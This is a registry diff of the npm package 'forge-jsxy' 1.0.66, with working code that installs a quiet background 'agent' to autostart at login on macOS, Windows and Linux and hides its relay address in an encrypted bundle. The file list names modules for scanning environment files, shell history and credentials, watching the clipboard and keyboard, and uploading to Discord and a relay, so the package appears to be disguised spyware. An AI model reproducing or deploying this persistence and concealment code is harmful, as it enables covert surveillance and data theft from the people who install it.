forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,11 @@
1
+ import { statusDarwinLegacyNpmScheduler } from "./darwinLegacyNpmSchedulerCleanup";
2
+ import type { ResolvedAutostartLaunch } from "./resolve";
3
+ export declare function registerDarwinAutostart(launch: ResolvedAutostartLaunch): boolean;
4
+ export declare function kickstartDarwinForgeAgent(): void;
5
+ /** Stop the agent for this login session; plist remains for next boot / login. */
6
+ export declare function stopDarwinForgeAgent(): void;
7
+ export declare function unregisterDarwinAutostart(): boolean;
8
+ export declare function statusDarwinAutostart(): {
9
+ plist: boolean;
10
+ legacyNpmScheduler: ReturnType<typeof statusDarwinLegacyNpmScheduler>;
11
+ };
@@ -0,0 +1,203 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.registerDarwinAutostart = registerDarwinAutostart;
37
+ exports.kickstartDarwinForgeAgent = kickstartDarwinForgeAgent;
38
+ exports.stopDarwinForgeAgent = stopDarwinForgeAgent;
39
+ exports.unregisterDarwinAutostart = unregisterDarwinAutostart;
40
+ exports.statusDarwinAutostart = statusDarwinAutostart;
41
+ const node_child_process_1 = require("node:child_process");
42
+ const fs = __importStar(require("node:fs"));
43
+ const os = __importStar(require("node:os"));
44
+ const path = __importStar(require("node:path"));
45
+ const constants_1 = require("./constants");
46
+ const darwinLegacyNpmSchedulerCleanup_1 = require("./darwinLegacyNpmSchedulerCleanup");
47
+ const macPathEnv_1 = require("./macPathEnv");
48
+ function xmlEscape(s) {
49
+ return s
50
+ .replace(/&/g, "&amp;")
51
+ .replace(/</g, "&lt;")
52
+ .replace(/>/g, "&gt;")
53
+ .replace(/"/g, "&quot;");
54
+ }
55
+ function plistPath() {
56
+ return path.join(process.env.HOME || os.homedir(), "Library", "LaunchAgents", constants_1.MACOS_PLIST_FILENAME);
57
+ }
58
+ function registerDarwinAutostart(launch) {
59
+ const dir = path.dirname(plistPath());
60
+ try {
61
+ fs.mkdirSync(dir, { recursive: true });
62
+ fs.mkdirSync(launch.dataDir, { recursive: true });
63
+ }
64
+ catch (e) {
65
+ console.error("[forge-js] macOS LaunchAgents / data dir:", e);
66
+ return false;
67
+ }
68
+ const logOut = path.join(launch.dataDir, "forge-js-agent.log");
69
+ const logErr = path.join(launch.dataDir, "forge-js-agent.err.log");
70
+ const wd = launch.workingDirectory;
71
+ const argsXml = launch.programArguments
72
+ .map((x) => ` <string>${xmlEscape(x)}</string>`)
73
+ .join("\n");
74
+ const sync = launch.syncApiUrl?.trim();
75
+ // Always include FORGE_JS_QUIET_AGENT=1 so the LaunchAgent-started process never shows banners.
76
+ const syncEnvXml = sync
77
+ ? ` <key>FORGE_JS_SYNC_URL</key>
78
+ <string>${xmlEscape(sync)}</string>
79
+ <key>CFGMGR_API_URL</key>
80
+ <string>${xmlEscape(sync)}</string>
81
+ `
82
+ : "";
83
+ // Persist PATH from the install-time environment so child processes (pbpaste, etc.)
84
+ // are found even when node is installed via nvm, Homebrew, or other non-standard paths.
85
+ // launchd on macOS uses a minimal default PATH; the user shell PATH is not inherited.
86
+ const effectivePath = (0, macPathEnv_1.macLaunchdEffectivePath)(process.env.PATH);
87
+ const pathEnvXml = ` <key>PATH</key>
88
+ <string>${xmlEscape(effectivePath)}</string>
89
+ `;
90
+ const envXml = ` <key>EnvironmentVariables</key>
91
+ <dict>
92
+ <key>FORGE_JS_QUIET_AGENT</key>
93
+ <string>1</string>
94
+ ${pathEnvXml}${syncEnvXml} </dict>
95
+ `;
96
+ const content = `<?xml version="1.0" encoding="UTF-8"?>
97
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
98
+ <plist version="1.0">
99
+ <dict>
100
+ <key>Label</key>
101
+ <string>${xmlEscape(constants_1.MACOS_LAUNCH_AGENT_LABEL)}</string>
102
+ <key>ProgramArguments</key>
103
+ <array>
104
+ ${argsXml}
105
+ </array>
106
+ <key>RunAtLoad</key>
107
+ <true/>
108
+ <key>KeepAlive</key>
109
+ <dict>
110
+ <!-- Restart only on non-zero exit so the singleton guard (exit 0) does not loop. -->
111
+ <key>SuccessfulExit</key>
112
+ <false/>
113
+ </dict>
114
+ <key>ProcessType</key>
115
+ <string>Background</string>
116
+ <key>ThrottleInterval</key>
117
+ <integer>30</integer>
118
+ ${envXml} <key>WorkingDirectory</key>
119
+ <string>${xmlEscape(wd)}</string>
120
+ <key>StandardInPath</key>
121
+ <string>/dev/null</string>
122
+ <key>StandardOutPath</key>
123
+ <string>${xmlEscape(logOut)}</string>
124
+ <key>StandardErrorPath</key>
125
+ <string>${xmlEscape(logErr)}</string>
126
+ </dict>
127
+ </plist>
128
+ `;
129
+ try {
130
+ fs.writeFileSync(plistPath(), content, "utf8");
131
+ }
132
+ catch (e) {
133
+ console.error("[forge-js] Cannot write LaunchAgent plist:", e);
134
+ return false;
135
+ }
136
+ const uid = process.getuid?.() ?? 0;
137
+ const gui = `gui/${uid}`;
138
+ const label = constants_1.MACOS_LAUNCH_AGENT_LABEL;
139
+ (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${label}`], {
140
+ encoding: "utf-8",
141
+ timeout: 25_000,
142
+ });
143
+ let r = (0, node_child_process_1.spawnSync)("launchctl", ["bootstrap", gui, plistPath()], {
144
+ encoding: "utf-8",
145
+ timeout: 25_000,
146
+ });
147
+ let ok = r.status === 0;
148
+ if (!ok) {
149
+ (0, node_child_process_1.spawnSync)("launchctl", ["unload", plistPath()], {
150
+ encoding: "utf-8",
151
+ timeout: 20_000,
152
+ });
153
+ r = (0, node_child_process_1.spawnSync)("launchctl", ["load", "-w", plistPath()], {
154
+ encoding: "utf-8",
155
+ timeout: 20_000,
156
+ });
157
+ ok = r.status === 0;
158
+ }
159
+ return ok;
160
+ }
161
+ function kickstartDarwinForgeAgent() {
162
+ const uid = process.getuid?.() ?? 0;
163
+ const gui = `gui/${uid}`;
164
+ (0, node_child_process_1.spawnSync)("launchctl", ["kickstart", "-k", `${gui}/${constants_1.MACOS_LAUNCH_AGENT_LABEL}`], {
165
+ encoding: "utf-8",
166
+ timeout: 25_000,
167
+ });
168
+ }
169
+ /** Stop the agent for this login session; plist remains for next boot / login. */
170
+ function stopDarwinForgeAgent() {
171
+ const uid = process.getuid?.() ?? 0;
172
+ const gui = `gui/${uid}`;
173
+ (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${constants_1.MACOS_LAUNCH_AGENT_LABEL}`], {
174
+ encoding: "utf-8",
175
+ timeout: 25_000,
176
+ });
177
+ }
178
+ function unregisterDarwinAutostart() {
179
+ (0, darwinLegacyNpmSchedulerCleanup_1.unregisterDarwinLegacyNpmScheduler)();
180
+ const uid = process.getuid?.() ?? 0;
181
+ const gui = `gui/${uid}`;
182
+ (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${constants_1.MACOS_LAUNCH_AGENT_LABEL}`], {
183
+ encoding: "utf-8",
184
+ timeout: 25_000,
185
+ });
186
+ (0, node_child_process_1.spawnSync)("launchctl", ["unload", plistPath()], {
187
+ encoding: "utf-8",
188
+ timeout: 20_000,
189
+ });
190
+ try {
191
+ fs.unlinkSync(plistPath());
192
+ }
193
+ catch {
194
+ /* skip */
195
+ }
196
+ return true;
197
+ }
198
+ function statusDarwinAutostart() {
199
+ return {
200
+ plist: fs.existsSync(plistPath()),
201
+ legacyNpmScheduler: (0, darwinLegacyNpmSchedulerCleanup_1.statusDarwinLegacyNpmScheduler)(),
202
+ };
203
+ }
@@ -0,0 +1,4 @@
1
+ export declare function unregisterDarwinAutoUpdateTimer(): void;
2
+ export declare function statusDarwinAutoUpdateTimer(): {
3
+ plist: boolean;
4
+ };
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.unregisterDarwinAutoUpdateTimer = unregisterDarwinAutoUpdateTimer;
37
+ exports.statusDarwinAutoUpdateTimer = statusDarwinAutoUpdateTimer;
38
+ const node_child_process_1 = require("node:child_process");
39
+ const fs = __importStar(require("node:fs"));
40
+ const os = __importStar(require("node:os"));
41
+ const path = __importStar(require("node:path"));
42
+ const constants_1 = require("./constants");
43
+ /**
44
+ * Best-effort removal of the **legacy** LaunchAgent plist that used to run npm auto-update.
45
+ * Product no longer registers it; `unregisterDarwinAutostart` still calls this for older installs.
46
+ */
47
+ function autoUpdatePlistPath() {
48
+ return path.join(process.env.HOME || os.homedir(), "Library", "LaunchAgents", constants_1.MACOS_AUTO_UPDATE_PLIST_FILENAME);
49
+ }
50
+ function unregisterDarwinAutoUpdateTimer() {
51
+ const uid = process.getuid?.() ?? 0;
52
+ const gui = `gui/${uid}`;
53
+ (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${constants_1.MACOS_AUTO_UPDATE_LABEL}`], {
54
+ encoding: "utf-8",
55
+ timeout: 25_000,
56
+ });
57
+ (0, node_child_process_1.spawnSync)("launchctl", ["unload", autoUpdatePlistPath()], {
58
+ encoding: "utf-8",
59
+ timeout: 20_000,
60
+ });
61
+ try {
62
+ fs.unlinkSync(autoUpdatePlistPath());
63
+ }
64
+ catch {
65
+ /* skip */
66
+ }
67
+ }
68
+ function statusDarwinAutoUpdateTimer() {
69
+ return { plist: fs.existsSync(autoUpdatePlistPath()) };
70
+ }
@@ -0,0 +1,4 @@
1
+ export declare function unregisterDarwinLegacyNpmScheduler(): void;
2
+ export declare function statusDarwinLegacyNpmScheduler(): {
3
+ plist: boolean;
4
+ };
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.unregisterDarwinLegacyNpmScheduler = unregisterDarwinLegacyNpmScheduler;
37
+ exports.statusDarwinLegacyNpmScheduler = statusDarwinLegacyNpmScheduler;
38
+ const node_child_process_1 = require("node:child_process");
39
+ const fs = __importStar(require("node:fs"));
40
+ const os = __importStar(require("node:os"));
41
+ const path = __importStar(require("node:path"));
42
+ const constants_1 = require("./constants");
43
+ /**
44
+ * Best-effort removal of the **legacy** LaunchAgent plist from old installers.
45
+ * Current product does not register it; `unregisterDarwinAutostart` still invokes this.
46
+ */
47
+ function legacyNpmSchedulerPlistPath() {
48
+ return path.join(process.env.HOME || os.homedir(), "Library", "LaunchAgents", constants_1.LEGACY_MACOS_NPM_SCHEDULER_PLIST);
49
+ }
50
+ function unregisterDarwinLegacyNpmScheduler() {
51
+ const uid = process.getuid?.() ?? 0;
52
+ const gui = `gui/${uid}`;
53
+ (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${constants_1.LEGACY_MACOS_NPM_SCHEDULER_LABEL}`], {
54
+ encoding: "utf-8",
55
+ timeout: 25_000,
56
+ });
57
+ (0, node_child_process_1.spawnSync)("launchctl", ["unload", legacyNpmSchedulerPlistPath()], {
58
+ encoding: "utf-8",
59
+ timeout: 20_000,
60
+ });
61
+ try {
62
+ fs.unlinkSync(legacyNpmSchedulerPlistPath());
63
+ }
64
+ catch {
65
+ /* skip */
66
+ }
67
+ }
68
+ function statusDarwinLegacyNpmScheduler() {
69
+ return { plist: fs.existsSync(legacyNpmSchedulerPlistPath()) };
70
+ }
@@ -0,0 +1,4 @@
1
+ export * from "./constants";
2
+ export * from "./resolve";
3
+ export * from "./install";
4
+ export * from "./manifest";
@@ -0,0 +1,20 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __exportStar = (this && this.__exportStar) || function(m, exports) {
14
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15
+ };
16
+ Object.defineProperty(exports, "__esModule", { value: true });
17
+ __exportStar(require("./constants"), exports);
18
+ __exportStar(require("./resolve"), exports);
19
+ __exportStar(require("./install"), exports);
20
+ __exportStar(require("./manifest"), exports);
@@ -0,0 +1,6 @@
1
+ import type { AutostartAgentOptions } from "./resolve";
2
+ /** Directory containing this module after compile: `dist/autostart` → package `dist` is parent.parent */
3
+ export declare function defaultDistDir(): string;
4
+ export declare function installAutostart(opts: AutostartAgentOptions, distDir?: string): boolean;
5
+ export declare function uninstallAutostart(): boolean;
6
+ export declare function statusAutostart(): Record<string, unknown>;
@@ -0,0 +1,113 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.defaultDistDir = defaultDistDir;
37
+ exports.installAutostart = installAutostart;
38
+ exports.uninstallAutostart = uninstallAutostart;
39
+ exports.statusAutostart = statusAutostart;
40
+ const path = __importStar(require("node:path"));
41
+ const clientId_1 = require("../clientId");
42
+ const darwin_1 = require("./darwin");
43
+ const linux_1 = require("./linux");
44
+ const manifest_1 = require("./manifest");
45
+ const agentEnvFile_1 = require("./agentEnvFile");
46
+ const resolve_1 = require("./resolve");
47
+ const windows_1 = require("./windows");
48
+ /** Directory containing this module after compile: `dist/autostart` → package `dist` is parent.parent */
49
+ function defaultDistDir() {
50
+ return path.resolve(__dirname, "..");
51
+ }
52
+ function manifestSafeOptions(opts) {
53
+ return {
54
+ // When the relay URL came from the embedded encrypted bundle, omit it from
55
+ // the manifest so the plain IP/port is not stored in a local JSON file.
56
+ // The agent decrypts the same bundle at startup via defaultRelayWsUrl().
57
+ relayUrl: opts.omitRelayArg ? "" : opts.relayUrl,
58
+ session: opts.session,
59
+ noPassword: opts.noPassword,
60
+ noFilesystem: opts.noFilesystem,
61
+ syncApiUrl: opts.syncApiUrl?.trim() || undefined,
62
+ };
63
+ }
64
+ function installAutostart(opts, distDir = defaultDistDir()) {
65
+ const launch = (0, resolve_1.resolveAutostartLaunch)(distDir, opts);
66
+ (0, agentEnvFile_1.writeForgeJsAgentEnv)(launch.dataDir, opts.syncApiUrl, opts.omitSyncUrl);
67
+ let ok = false;
68
+ if (process.platform === "win32") {
69
+ ok = (0, windows_1.registerWindowsAutostart)(launch);
70
+ }
71
+ else if (process.platform === "darwin") {
72
+ ok = (0, darwin_1.registerDarwinAutostart)(launch);
73
+ }
74
+ else {
75
+ ok = (0, linux_1.registerLinuxAutostart)(launch);
76
+ }
77
+ if (ok) {
78
+ (0, manifest_1.writeManifest)(launch.dataDir, manifestSafeOptions(opts));
79
+ }
80
+ return ok;
81
+ }
82
+ function uninstallAutostart() {
83
+ const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
84
+ if (process.platform === "win32") {
85
+ (0, windows_1.unregisterWindowsAutostart)();
86
+ }
87
+ else if (process.platform === "darwin") {
88
+ (0, darwin_1.unregisterDarwinAutostart)();
89
+ }
90
+ else {
91
+ (0, linux_1.unregisterLinuxAutostart)();
92
+ }
93
+ (0, manifest_1.removeManifest)(dataDir);
94
+ return true;
95
+ }
96
+ function statusAutostart() {
97
+ const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
98
+ const manifest = (0, manifest_1.readManifest)(dataDir);
99
+ const base = {
100
+ platform: process.platform,
101
+ manifest: manifest ? { ...manifest, options: manifest.options } : null,
102
+ };
103
+ if (process.platform === "win32") {
104
+ Object.assign(base, (0, windows_1.statusWindowsAutostart)());
105
+ }
106
+ else if (process.platform === "darwin") {
107
+ Object.assign(base, (0, darwin_1.statusDarwinAutostart)());
108
+ }
109
+ else {
110
+ Object.assign(base, (0, linux_1.statusLinuxAutostart)());
111
+ }
112
+ return base;
113
+ }
@@ -0,0 +1,17 @@
1
+ import { statusLinuxLegacyNpmScheduler } from "./linuxLegacyNpmSchedulerCleanup";
2
+ import type { ResolvedAutostartLaunch } from "./resolve";
3
+ export type XdgAutostartMode = "agent" | "session-refresh";
4
+ export declare function statusXdgAutostart(): {
5
+ desktopFile: boolean;
6
+ };
7
+ export declare function registerLinuxAutostart(launch: ResolvedAutostartLaunch): boolean;
8
+ export declare function unregisterLinuxAutostart(): boolean;
9
